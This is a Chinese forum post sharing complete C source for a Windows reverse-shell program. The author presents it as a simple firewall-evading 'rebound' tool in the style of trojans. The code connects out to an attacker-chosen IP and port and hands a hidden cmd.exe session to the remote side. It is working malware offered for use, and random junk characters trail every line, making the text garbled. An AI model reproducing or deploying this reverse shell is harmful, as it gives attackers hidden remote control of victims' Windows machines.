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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K."h}f95  
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/* ============================== ,>vI|p,/G*  
Rebound port in Windows NT :h!&.FB  
By wind,2006/7 ;R4qE$u2^  
===============================*/ bi<?m^j  
#include 7zWr5U.  
#include 8(kP=   
G8hq;W4@]/  
#pragma comment(lib,"wsock32.lib") c)Ep<W<r1  
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void OutputShell(); ;z3w#fNMv  
SOCKET sClient; tEC`-> |  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]*\m@lWu  
p J#<e  
void main(int argc,char **argv) 3A)Ec/;~  
{ ]R7zvcu&  
WSADATA stWsaData; t9Y?0O}/  
int nRet; >SSRwYIN  
SOCKADDR_IN stSaiClient,stSaiServer; OO  /Pc  
kA/V=xO<  
if(argc != 3) \66j4?H#  
{ 0<4Sw j3s7  
printf("Useage:\n\rRebound DestIP DestPort\n"); .`5BgX7W  
return; y'21)P  
} LE>b_gQ$ 2  
U|YIu!^  
WSAStartup(MAKEWORD(2,2),&stWsaData); u ^Ss8}d  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !-<PV  
0!(BbQnWI  
stSaiClient.sin_family = AF_INET; uNS ]n}  
stSaiClient.sin_port = htons(0); c_+y~X)i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RLL2'8"A  
=c1t]%P,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 15L0B5(3  
{ u''~nSR3&  
printf("Bind Socket Failed!\n"); k\wcj^"cb  
return; ^a?H "  
} \}9GK`oR  
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stSaiServer.sin_family = AF_INET; {I"`(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [pgld9To  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mO~A}/je  
6d%'>^`(o-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [T>a}}@  
{ <-%OXEG  
printf("Connect Error!"); 0//B+.#  
return; tc4"huG  
} TLC&@o :  
OutputShell(); qt&zo5  
} c=Y8R/G<  
" +n\0j;  
void OutputShell() >~)IsQ*%  
{ SPEDN}/^  
char szBuff[1024]; [bIR$c[G  
SECURITY_ATTRIBUTES stSecurityAttributes; S`v+rQjW  
OSVERSIONINFO stOsversionInfo; FaVeP%v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gXThdNU4G  
STARTUPINFO stStartupInfo; o;\c$|TNU  
char *szShell; 2ij/!  
PROCESS_INFORMATION stProcessInformation; @w]z"UCwV@  
unsigned long lBytesRead; DD(K@M  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X1GpLy)p  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [Dou%\  
stSecurityAttributes.lpSecurityDescriptor = 0; (}:n#|,{M  
stSecurityAttributes.bInheritHandle = TRUE; o 2Okc><z  
Y#[>j4<T  
7x ?2((   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Bx&F*a;5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #ekz>/Im*  
^,;AM(E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M(+;AS?;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZZJXd+Q}  
stStartupInfo.wShowWindow = SW_HIDE; ;s(uaC3  
stStartupInfo.hStdInput = hReadPipe; v@KP~kp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ))z1T8  
48  |u{  
GetVersionEx(&stOsversionInfo); e_{!8u.+  
7HkQ|~zGT  
switch(stOsversionInfo.dwPlatformId) Js( "H  
{ ;?`l1:C5)  
case 1: 3$hbb6N%6.  
szShell = "command.com"; k=o>DaEh(  
break; ""2g{!~r  
default: fL7u419=  
szShell = "cmd.exe"; v!b 8_0~u6  
break; .xIu  
} oy?>e1Sy*  
)rP)-op|A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |loo ^!I  
Nr(3!-  
send(sClient,szMsg,77,0); _/iw=-T  
while(1) /Wqx@#  
{ jj&4Sv#>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FID4@--  
if(lBytesRead) |>2IgTh1a  
{ zLa3Q\T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [Q+qu>&HB7  
send(sClient,szBuff,lBytesRead,0); ^twJNm{99  
} ".=LzjE<gv  
else y_Tc$g~  
{ S5$sB{\R  
lBytesRead=recv(sClient,szBuff,1024,0); `T \"B%  
if(lBytesRead<=0) break; 1; "t8.*%e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %j*i=  
} )f6:{ma  
} l*+5WrOS  
_P]!J~$5  
return; h)746T )  
}
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